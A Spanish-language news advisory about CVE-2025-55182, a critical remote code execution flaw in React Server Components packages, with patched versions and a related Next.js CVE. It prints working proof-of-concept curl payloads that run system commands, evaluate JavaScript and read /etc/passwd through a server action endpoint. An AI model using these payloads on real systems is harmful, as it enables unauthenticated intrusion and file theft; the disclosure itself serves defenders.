Se ha corregido una vulnerabilidad (CVE-2025-55182) en los componentes de servidor del framework web React (RSC) que podría permitir la ejecución de código arbitrario en el servidor mediante el envío de una solicitud a un controlador de servidor. La vulnerabilidad se ha calificado como crítica (10 sobre 10). Afecta a los componentes experimentales react-server-dom-webpack, react-server-dom-parcel y react-server-dom-turbopack, que se utilizan para ejecutar funciones y generar elementos de interfaz en el servidor, en lugar de en el cliente.
El problema se debe a la deserialización insegura de los datos recibidos en las solicitudes HTTP a los controladores del servidor. Los controladores "vm#runInThisContext", "vm#runInNewContext", "child_process#execFileSync" y "child_process#execSync" se pueden usar para ejecutar comandos del sistema o código JavaScript en el contexto del proceso actual (omitiendo el aislamiento de la zona protegida). También es posible usar los controladores "fs#readFileSync" y "fs#writeFileSync" para leer y escribir archivos arbitrarios en servidor, siempre que lo permitan los derechos de acceso actuales. El ataque no requiere autenticación. Existe un prototipo de exploit disponible. # Ejecutar el comando whoami curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}' # Ejecutar código JavaScript 1+1 curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}' # Leer el archivo /etc/passwd curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8″]}'
La vulnerabilidad del sistema depende del uso de los componentes vulnerables del servidor react-server-dom-webpack, react-server-dom-parcel y react-server-dom-turbopack. Las aplicaciones que no usan react-server no se ven afectadas. Se desconoce hasta qué punto la vulnerabilidad afecta a los sistemas de producción que utilizan React. React es uno de los frameworks web más populares (usado por aproximadamente el 6% de los sitios web), y los componentes vulnerables se mantienen en el repositorio principal y se incluyen en las versiones. Los componentes vulnerables también son compatibles con frameworks basados en React, como Next.js y react-router. Según Wiz Research, se identificaron instancias vulnerables en el 39% de los entornos de nube analizados.
Por otro lado, la generación de contenidos en servidor a través de React Server Los componentes no son una función de uso frecuente (la mayoría de los sitios web de React solo renderizan la interfaz de usuario en el lado del cliente), y los componentes vulnerables se marcan como experimentales y no se garantiza su correcto funcionamiento. Estos componentes tienen un número relativamente bajo de descargas directas desde el repositorio de NPM: react-server-dom-webpack (670 000 por semana), react-server-dom-parcel (7000) y react-server-dom-turbopack (32 000). En comparación, el paquete NPM de React tiene 45 millones de descargas por semana.
La vulnerabilidad está presente en las versiones 9.0.0, 19.1.0, 19.1.1 y 19.2.0 de React, y se corrigió en las versiones 19.0.1, 19.1.2 y 19.2.1 de React. Los componentes vulnerables también se utilizan en los paquetes Next.js (16 millones de descargas semanales), react-router (20 millones de descargas semanales), waku, @parcel/rsc, @vitejs/plugin-rsc y rwsdk.
Una vulnerabilidad (CVE-2025-66478) en el framework Next.js afecta a las aplicaciones que utilizan App Router y Next.js 15.x y 16.x. Se dice que la vulnerabilidad afecta a la configuración predeterminada de Next.js (la aplicación predeterminada creada por la utilidad create-next-app es vulnerable). Se recomienda a los usuarios instalar la actualización de Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 o 16.0.7 lo antes posible.
Fuente: opennet.ru
